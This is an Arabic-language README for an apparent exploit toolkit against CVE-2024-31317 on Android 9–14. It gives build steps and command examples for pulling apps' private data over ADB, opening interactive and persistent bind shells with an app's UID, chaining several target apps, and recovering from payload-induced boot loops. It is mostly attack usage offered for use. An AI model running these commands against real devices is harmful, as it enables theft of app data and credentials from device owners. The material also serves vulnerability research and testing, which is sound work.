Zygote Toolkit - CVE-2024-31317

هذه مجموعة أدوات تستخدم CVE-2024-31317 لاستخراج البيانات الخاصة للتطبيقات عبر ADB أو لفتح شل بمعرف المستخدم (UID) الخاص بتطبيق. تؤثر هذه الثغرة على إصدارات أندرويد من 9 إلى 14 التي تعمل بمستوى تصحيح أمني 2024-06-01 أو أقل. يمكن العثور على مصفوفة دعم للأجهزة المختبرة أدناه.

المتطلبات الأساسية

Debian/Ubuntu (حزم النظام)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

أضف سطري export إلى ~/.bashrc (أو ما يعادله) للاستمرارية.

التحقق

./setup.sh

بدء سريع

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

يبني الاستغلال كل شيء من Hijack.java و AndroidManifest.xml عند أول تشغيل.

الاستخدام

python3 cve_2024_31317.py [flags] [package]

الأوضاع

الخيارات

أمثلة

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

البناء من المصدر

يُبنى كل شيء من المصدر وقت التشغيل. تستخدم خطوة البناء javac (JDK 17+) وd8 وaapt وzipalign وapksigner من Android SDK.

• x86_64 → arm64: تعمل الأدوات بشكل أصلي؛ ناتج DEX مستقل عن البنية
• ARM64 → arm64: يعمل كل شيء بشكل أصلي (توفر Adoptium إصدارات JDK لمعمارية ARM64)

رمز المرور

إذا كان الجهاز يحتوي على رمز مرور، فإنه يبدأ في حالة BFU (قبل أول فتح). يستقصي الاستغلال sys.user.0.ce_available لمدة تصل إلى 5 دقائق حتى تقوم بفتح الجهاز. يُنصح بإزالة رمز المرور طوال مدة الاستغلال.

الأجهزة المختبرة

† خاص بجهاز Samsung One UI: حقن ZNJECT ينجح ويعمل استخراج -E، لكن شل bind المرتبط بـ toybox nc ServerSocket لا يُفتح أبدًا. يتطلب مزيدًا من البحث لمعرفة السبب الجذري للمشكلة.

الاسترداد

يمكن أن تسبب الحمولة المتبقية في hidden_api_blacklist_exemptions حلقة إقلاع (boot loop) عند الإقلاع التالي. شغّل --recover لإعادة التعيين:

python3 cve_2024_31317.py -d DEVICE --recover